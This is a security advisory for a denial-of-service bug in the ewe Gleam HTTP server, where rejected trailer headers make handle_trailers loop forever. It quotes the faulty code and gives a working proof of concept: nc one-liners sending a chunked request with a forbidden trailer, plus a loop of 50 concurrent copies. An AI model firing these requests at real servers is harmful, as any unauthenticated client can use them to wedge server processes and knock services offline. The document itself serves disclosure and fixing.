Loop with Unreachable Exit Condition ('Infinite Loop') in ewe

Summary

ewe's handle_trailers function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.

Impact

When handle_trailers (ewe/internal/http1.gleam:493) encounters a trailer that is either not in the declared trailer set or is blocked by is_forbidden_trailer, three code paths (lines 520, 523, 526) recurse with the original buffer rest instead of Buffer(header_rest, 0):

// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)
False -> handle_trailers(req, set, rest)

This causes decoder.decode_packet to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.

Any ewe application that calls ewe.read_body on chunked requests is affected. This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside read_body before control returns to application code.

Proof of Concept

Send a chunked request with a forbidden trailer (host) to trigger the infinite loop:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080

This will hang (no response) until the nc timeout. The server-side handler process is stuck forever.

Exhaust server resources with concurrent requests:

for i in $(seq 1 50); do
  printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 &
done

Open the Erlang Observer (observer:start()) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.

Vulnerable Code

All three False/Error branches in handle_trailers have the same bug:

// ewe/internal/http1.gleam, lines 493–531
fn handle_trailers(
  req: Request(BitArray),
  set: Set(String),
  rest: Buffer,
) -> Request(BitArray) {
  case decoder.decode_packet(HttphBin, rest) {
    Ok(Packet(HttpEoh, _)) -> req
    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {
      // ... field name parsing ...
      case field_name {
        Ok(field_name) -> {
          case
            set.contains(set, field_name) && !is_forbidden_trailer(field_name)
          {
            True -> {
              case bit_array.to_string(value) {
                Ok(value) -> {
                  request.set_header(req, field_name, value)
                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct
                }
                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520
              }
            }
            False -> handle_trailers(req, set, rest)               // BUG: line 523
          }
        }
        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526
      }
    }
    _ -> req
  }
}